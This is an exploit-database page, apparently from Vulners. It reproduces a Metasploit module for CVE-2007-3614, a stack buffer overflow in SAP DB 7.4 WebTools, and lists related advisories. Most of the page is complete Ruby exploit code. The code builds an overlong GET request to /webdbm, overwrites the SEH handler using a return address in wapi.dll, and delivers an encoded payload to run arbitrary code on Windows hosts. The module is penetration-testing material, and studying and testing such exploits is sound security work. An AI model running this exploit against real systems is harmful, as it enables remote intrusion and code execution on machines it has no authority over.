Lucene search
K

SAP DB 7.4 WebTools Buffer Overflow

🗓️ 11 Jul 2007 21:16:30Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 21 Views

SAP DB 7.4 WebTools Buffer Overflow in HTT

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-3614
16 Jul 201000:00
circl
CVE
CVE-2007-3614
6 Jul 200719:00
cve
Cvelist
CVE-2007-3614
6 Jul 200719:00
cvelist
Exploit DB
SAP DB 7.4 - WebTools Buffer Overflow (Metasploit)
16 Jul 201000:00
exploitdb
NVD
CVE-2007-3614
6 Jul 200719:30
nvd
Packet Storm
SAP DB 7.4 WebTools Buffer Overflow
26 Nov 200900:00
packetstorm
Prion
Stack overflow
6 Jul 200719:30
prion
CERT
SAP DB Web Server buffer overflow vulnerability
10 Jul 200700:00
cert
Tenable Nessus
SAP DB / MaxDB Web Server DBM_INTERN_TEST Event Buffer Overflow
10 Jul 200700:00
nessus
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SAP DB 7.4 WebTools Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
        By sending an overly long GET request, it may be possible for
        an attacker to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-3614' ],
          [ 'OSVDB', '37838' ],
          [ 'BID', '24773' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 850,
          'BadChars' => "\x00",
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
          'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
            },
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0
        ],
      'DisclosureDate' => '2007-07-05',
      'DefaultTarget'  => 0))

    register_options( [ Opt::RPORT(9999) ])
  end

  def exploit

    filler = rand_text_alphanumeric(20774)
    seh = generate_seh_payload(target.ret)

    sploit = filler + seh + rand_text_alphanumeric(3000)

    print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)

    res = send_request_raw(
      {
        'uri'   => '/webdbm',
        'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
      }, 5)

    handler

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation